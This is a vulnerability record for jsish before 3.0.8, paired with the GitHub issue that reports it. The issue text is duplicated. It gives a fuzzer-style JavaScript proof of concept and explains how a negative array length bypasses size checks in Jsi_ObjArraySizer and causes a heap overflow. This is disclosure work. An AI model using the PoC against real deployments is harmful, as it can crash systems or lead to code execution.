Integer overflow vulnerability in function Jsi_ObjArraySizer in jsish before 3.0.8, allows remote attackers to execute arbitrary code.
cpe:2.3:a:jsish:jsish:*:*:*:*:*:*:*:*
F7B5CBE8-C60A-451B-88C5-630F33C398CE
3.0.8
OR
# Enviroment
```
operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 
```
# poc:
```
var o = [
    1,
    2
];
o.length = -9007199254740991;
o, 90040991;
var ExBs = new RegExp('>l1Pq4Q~R$!');
ExBs = o.reverse();
var zaCp = o.unshift(o.length, o, ExBs.lastIndex, o);
o.length = o.length != o;
o = zaCp.toExponential(o.length);
var FfYD = new RegExp('@OsH');
JSON.stringify('/Z-s#YisGL');
o = o.constructor();
FfYD.lastIndex = -1 <= -2147483647;
o.length = 1e+81 == FfYD.lastIndex;
var yfSi = new Map([
    [
        1,
        1200,
        o.length,
        ExBs.lastIndex
    ],
    [
        o,
        ExBs,
        o,
        0,
        -Infinity,
        -Infinity
    ]
]);
var Hjwz = new Map([
    [],
    [
        o,
        o,
        -1
    ]
]);
var QkwQ = new RegExp('GBY');
var dPft = new Map([
    [
        -2147483648,
        FfYD.lastIndex,
        FfYD,
        3037000498,
        0.1,
        ExBs.length,
        FfYD,
        2147483649
    ],
    [
        ExBs,
        FfYD.lastIndex,
        -9007199254740994
    ]
]);
var fjNQ = o.indexOf(0.2, function () {
});
var a = Object.keys(o);
var TdaH = new RegExp('#0CHy=U2|.xg^{;xO');
var APSB = -9007199254740990 != a.length;
var BYaK = new Float32Array([
    yfSi,
    4,
    -4294967295,
    FfYD,
    zaCp
]);
var wCMe = new WeakSet([]);
```
# vulnerability description:
![image](https://user-images.githubusercontent.com/13704697/79126477-9420c080-7dd2-11ea-9f18-9d8ee33772bc.png)

In src/jsiObj.c:428,  `len` is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can bypass the two checks of line 421 and line 425.
![image](https://user-images.githubusercontent.com/13704697/79126462-8d924900-7dd2-11ea-93ab-89254ffcc501.png)


`obj-> arr` will get a smaller size of heap space, and then memset assigns a value to the space pointed to by `obj-> arr + obj-> arrMaxSize`, but this time has exceeded the actual heap range of ` obj-> arr`, causing heap overflow .
 integer overflow and buffer overflow
This is a GitHub Issue
repo:jsish
owner:pcmacdon
Title :  integer overflow and buffer overflow
Issue date:

--- start body ---
# Enviroment
```
operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 
```
# poc:
```
var o = [
    1,
    2
];
o.length = -9007199254740991;
o, 90040991;
var ExBs = new RegExp('>l1Pq4Q~R$!');
ExBs = o.reverse();
var zaCp = o.unshift(o.length, o, ExBs.lastIndex, o);
o.length = o.length != o;
o = zaCp.toExponential(o.length);
var FfYD = new RegExp('@OsH');
JSON.stringify('/Z-s#YisGL');
o = o.constructor();
FfYD.lastIndex = -1 <= -2147483647;
o.length = 1e+81 == FfYD.lastIndex;
var yfSi = new Map([
    [
        1,
        1200,
        o.length,
        ExBs.lastIndex
    ],
    [
        o,
        ExBs,
        o,
        0,
        -Infinity,
        -Infinity
    ]
]);
var Hjwz = new Map([
    [],
    [
        o,
        o,
        -1
    ]
]);
var QkwQ = new RegExp('GBY');
var dPft = new Map([
    [
        -2147483648,
        FfYD.lastIndex,
        FfYD,
        3037000498,
        0.1,
        ExBs.length,
        FfYD,
        2147483649
    ],
    [
        ExBs,
        FfYD.lastIndex,
        -9007199254740994
    ]
]);
var fjNQ = o.indexOf(0.2, function () {
});
var a = Object.keys(o);
var TdaH = new RegExp('#0CHy=U2|.xg^{;xO');
var APSB = -9007199254740990 != a.length;
var BYaK = new Float32Array([
    yfSi,
    4,
    -4294967295,
    FfYD,
    zaCp
]);
var wCMe = new WeakSet([]);
```
# vulnerability description:
![image](https://user-images.githubusercontent.com/13704697/79126477-9420c080-7dd2-11ea-9f18-9d8ee33772bc.png)

In src/jsiObj.c:428,  `len` is the length of the Array, and the PoC is initially set to a maximum value by o.length. After the calculation of the code, nsiz is calculated as a negative number, which can bypass the two checks of line 421 and line 425.
![image](https://user-images.githubusercontent.com/13704697/79126462-8d924900-7dd2-11ea-93ab-89254ffcc501.png)


`obj-> arr` will get a smaller size of heap space, and then memset assigns a value to the space pointed to by `obj-> arr + obj-> arrMaxSize`, but this time has exceeded the actual heap range of ` obj-> arr`, causing heap overflow .
--- end body ---

comments :
--- start comments ---

--- end comments ---